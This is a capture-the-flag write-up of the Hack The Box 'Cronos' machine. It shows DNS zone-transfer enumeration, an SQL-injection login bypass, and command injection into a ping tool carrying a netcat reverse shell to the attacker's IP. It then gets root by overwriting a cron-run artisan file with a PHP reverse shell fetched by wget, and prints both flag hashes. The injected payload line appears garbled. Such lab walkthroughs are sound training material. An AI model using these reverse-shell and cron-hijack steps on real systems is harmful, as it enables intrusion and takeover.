

#### **Cronos:**



#### **Enumeration:**

Runing an Nmap scan return those result.

```
root@nexus:~# nmap -A -p- 10.10.10.13
```

Enumerating DNS with dig give us those information.

```
xus:~# dig axfr @10.10.10.13 cronos.htb
  <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> axfr @10.10.10.13 cronos.htb
 (1 server found)
;; global options: +cmd
                                                    cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.
                          604800
                                           SOA
cronos.htb.
                          604800
                                  IN
                                           NS
                                                    ns1.cronos.htb.
cronos.htb.
                          604800
                                                    10.10.10.13
                                  IN
                                           Α
admin.cronos.htb.
                          604800
                                  IN
                                           Α
                                                    10.10.10.13
ns1.cronos.htb.
                          604800
                                  IN
                                           Α
                                                    10.10.10.13
                          604800
                                                    10.10.10.13
www.cronos.htb.
                                  IN
                                                    cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.
                          604800
                                  IN
                                           SOA
;; Query time: 23 msec
  SERVER: 10.10.10.13#53(10.10.10.13)
WHEN: jeu aoû 29 20:21:42 CEST 2019
   XFR size: 7 records (messages 1, bytes 203)
```

Add to «/etc/hosts » file the two domain name.

```
root@nexus:~# cat /etc/hosts

10.10.10.13 cronos.htb admin.cronos.htb
```

Browsing cronos.htb and running dirb against it didnt show anything usefull. But browsing admin.cronos.htb lead us to a login page.

# **Exploitation:**

The login form is vulnerable to SQLi. Exploiting it will connect us as admin.



#### Net Tool v0.1

traceroute 🗸	8.8.8.8	Execute!
traceroute 🗸	8.8.8.8	Execute

It lead you on a page with Net Tool, who allow us to run traceroute or ping on the box. We can send more command by using « | or && » between each commands.



Using netcat reverse shell (from pentest monkey) can give us a shell. Start an netcat listener.

Source: <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet</a>

```
root@nexus:~# nc -nvlp 4444
listening on [any] 4444 ...
```

Once you are ready send the ping command with our netcat reverse shell.

## Net Tool v0.1

```
ping V 1|nc 10.10.14.17 4444 >/tmp/f Execute!
```

```
root@nexus:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.13] 45328
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@cronos:/var/www/admin$ whoami
whoami
www-data
```

Take user flag.

```
www-data@cronos:/home/noulis$ cat user.txt
cat user.txt
51d236438b333970dbba7dc3089be33b
```

User.txt = 51d236438b333970dbba7dc3089be33b

### **Privilege Escalation:**

The box name is Cronos, so let's see wich cron is on the box.

www-data@cronos:/var/www/admin\$ cat /etc/crontab

```
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
#
```

There is an interesting file « /var/www/laravel/artisan », let's see wich right have that file.

```
-rwxr-xr-x 1 www-data www-data 1646 Apr 9 2017 artisan
```

We have full access on that file as www-data. As said the cron job, php run artisan file every minute. Let's take our php reverse shell on our kali.

root@nexus:~# cp /usr/share/webshells/php/php-reverse-shell.php .

Replace ip and port on the php reverse shell with your.

```
$ip = '10.10.14.17'; // CHANGE THIS
$port = 5555; // CHANGE THIS
```

Start a netcat listner and a web server for allow the box to download the reverse shell.

```
root@nexus:~# nc -nvlp 5555
listening on [any] 5555 ...
```

```
root@nexus:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
```

On the box remove the artisan file, rename your reverse shell to « artisan » then download your reverse shell.

```
www-data@cronos:/var/www/laravel$ wget http://10.10.14.17:8000/artisan .
```

Give him execution right.

```
www-data@cronos:/var/www/laravel$ chmod +x artisan
```

Wait less than 1 minute and you will have root shell back on your netcat listner.

Take root flag.

```
root@cronos:~# cat root.txt
cat root.txt
1703b8a3c9a8dde879942c79d02fd3a0
```

Root.txt = 1703b8a3c9a8dde879942c79d02fd3a0